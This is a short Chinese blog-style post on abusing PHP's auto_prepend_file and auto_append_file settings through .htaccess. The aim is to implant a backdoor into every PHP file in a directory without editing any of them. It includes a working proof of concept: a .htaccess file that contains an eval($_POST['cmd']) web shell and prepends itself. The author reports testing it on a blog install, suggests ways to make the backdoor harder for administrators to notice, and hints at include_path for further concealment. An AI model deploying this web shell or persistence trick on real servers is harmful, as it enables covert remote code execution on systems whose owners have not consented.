PHP手册,常看常新:)
PHP有个特性,会根据apache的httpd.conf和.htaccess来覆盖自己php.ini的设置.
恰好,找到两个邪恶的属性:
auto_prepend_file string
指定在主文件之前自动解析的文件名。该文件就像调用了 include() 函数一样被包含进来,因此会使用 include_path。
特殊值 none 禁止了自动前缀。
auto_append_file string
指定在主文件之后自动解析的文件名。该文件就像调用了 include() 函数一样被包含进来,因此会使用 include_path。
特殊值 none 禁止了自动后缀。
Note: 如果脚本通过 exit() 终止,则自动后缀不会发生。
于是很简单,利用.htaccess就能包含文件,并且不用修改任何对方的php文件,同目录下所有php文件就被植入木马了.管理员不注意的话可能就被忽略掉.
本地测试了一下,写了个.htaccess文件到我的sphpblog目录中.

.htaccess
1
#<?php eval($_POST['cmd']);?>
2
3
php_value auto_prepend_file ".htaccess"
然后随意访问一下sphpblog中的任意文件.

当然直接包含.haccess文件太明显了,上面一对无关和出错信息会出卖你的后门的.我这里只是PoC,要包含什么就随便各位了.
哦,还有一点,会很方便:
include_path
".;/path/to/php/pear"
PHP_INI_ALL
什么意思我就不说了.各位自己琢磨吧,呵呵